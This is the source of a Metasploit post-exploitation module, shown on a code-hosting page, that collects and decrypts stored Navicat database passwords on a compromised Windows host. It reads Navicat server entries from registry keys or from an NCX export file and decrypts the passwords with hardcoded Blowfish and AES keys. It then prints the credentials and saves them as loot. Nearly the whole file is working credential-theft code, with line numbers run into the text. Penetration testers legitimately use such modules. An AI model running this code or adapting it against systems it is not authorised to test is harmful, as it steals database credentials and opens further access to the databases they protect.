Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/navicat.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3#4# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb5# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb6##78class MetasploitModule < Msf::Post9include Msf::Post::Windows::Registry10include Msf::Post::File11# secret_key = Digest::SHA1.digest('3DC5CA39')12SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze13def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Gather Navicat Passwords',18'Description' => %q{ This module will find and decrypt stored Navicat passwords },19'License' => MSF_LICENSE,20'References' => [21[ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],22[ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']23],24'Author' => [25'HyperSine', # Research and PoC26'Kali-Team <kali-team[at]qq.com>' # MSF module27],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter', 'shell'],30'Notes' => {31'Stability' => [],32'Reliability' => [],33'SideEffects' => []34}35)36)37register_options(38[39OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),40]41)42end4344def blowfish_encrypt(data = "\xFF" * 8)45cipher = OpenSSL::Cipher.new('bf-ecb').encrypt46cipher.padding = 047cipher.key_len = SECRET_KEY.length48cipher.key = SECRET_KEY49cipher.update(data) << cipher.final50end5152def blowfish_decrypt(text)53cipher = OpenSSL::Cipher.new('bf-cbc').decrypt54cipher.padding = 055cipher.key_len = SECRET_KEY.length56cipher.key = SECRET_KEY57cipher.iv = "\x00" * 858cipher.update(text) + cipher.final59end6061def strxor(str, second)62str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join63end6465def decrypt_navicat11(encrypted_data)66password = ''67return password unless encrypted_data6869iv = blowfish_encrypt70ciphertext = [encrypted_data].pack('H*')71cv = iv72full_round, left_length = ciphertext.length.divmod(8)7374if full_round > 075for i in 0..full_round - 1 do76t = blowfish_decrypt(ciphertext[i * 8, 8])77t = strxor(t, cv)78password += t79cv = strxor(cv, ciphertext[i * 8, 8])80end81end8283if left_length > 084cv = blowfish_encrypt(cv)85test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])86password += test_value87end8889password90end9192def decrypt_navicat_ncx(ciphertext)93ciphertext = [ciphertext].pack('H*')94aes = OpenSSL::Cipher.new('aes-128-cbc')95aes.decrypt96aes.key = 'libcckeylibcckey'97aes.padding = 098aes.iv = 'libcciv libcciv '99aes.update(ciphertext)100end101102def navicat_store_config(config)103if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?104vprint_warning('Key data is empty, skip saving service credential')105return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),106# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually107# use against a target.108end109110service_data = {111address: config[:hostname],112port: config[:port],113service_name: config[:service_name],114protocol: 'tcp',115workspace_id: myworkspace_id116}117118credential_data = {119origin_type: :session,120session_id: session_db_id,121post_reference_name: refname,122private_type: :password,123private_data: config[:password],124username: config[:username],125status: Metasploit::Model::Login::Status::UNTRIED126}.merge(service_data)127create_credential_and_login(credential_data)128end129130def parse_xml(data)131mxml = REXML::Document.new(data).root132result = []133mxml.elements.to_a('//Connection').each do |node|134host = node.attributes['Host']135port = node.attributes['Port']136proto = node.attributes['ConnType']137username = node.attributes['UserName']138name = node.attributes['ConnectionName']139epassword = node.attributes['Password']140password = decrypt_navicat_ncx(epassword)141result << {142name: name,143protocol: proto.downcase,144hostname: host,145port: port,146username: username,147password: password || epassword148}149end150print_and_save(result)151return result152end153154def get_reg155reg_keys = Hash.new156157reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'158reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'159reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'160reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'161reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'162reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'163reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'164result = []165reg_keys.each_pair do |db_name, reg_key|166subkeys = registry_enumkeys(reg_key)167next if subkeys.nil?168169subkeys.each do |subkey|170enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')171next if enc_pwd_value.nil?172173username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')174port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')175host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')176177pwd_value = decrypt_navicat11(enc_pwd_value)178result << {179name: subkey,180protocol: db_name,181hostname: host_value,182port: port_value,183username: username_value,184password: pwd_value || enc_pwd_value185}186end187end188print_and_save(result)189return result190end191192def print_and_save(results)193columns = [194'Name',195'Protocol',196'Hostname',197'Port',198'Username',199'Password',200]201tbl = Rex::Text::Table.new(202'Header' => 'Navicat Sessions',203'Columns' => columns204)205results.each do |item|206tbl << item.values207config = {208name: item[:name],209hostname: item[:hostname],210service_name: item[:protocol],211port: item[:port].nil? ? '' : item[:port],212username: item[:username],213password: item[:password]214}215navicat_store_config(config)216end217print_line(tbl.to_s)218if tbl.rows.count > 0219path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')220print_good("Session info stored in: #{path}")221end222end223224def run225print_status('Gathering Navicat password information.')226if datastore['NCX_PATH'].present?227ncx_path = datastore['NCX_PATH']228print_status("Looking for #{ncx_path}")229begin230if file_exist?(ncx_path)231condata = read_file(ncx_path) || ''232fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?233234loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)235print_good("navicat.ncx saved to #{loot_path}")236parse_xml(condata)237print_status("Finished processing #{ncx_path}")238end239rescue Rex::Post::Meterpreter::RequestError240fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")241end242else243get_reg244print_status('Finished processing from the registry')245end246end247248end249250251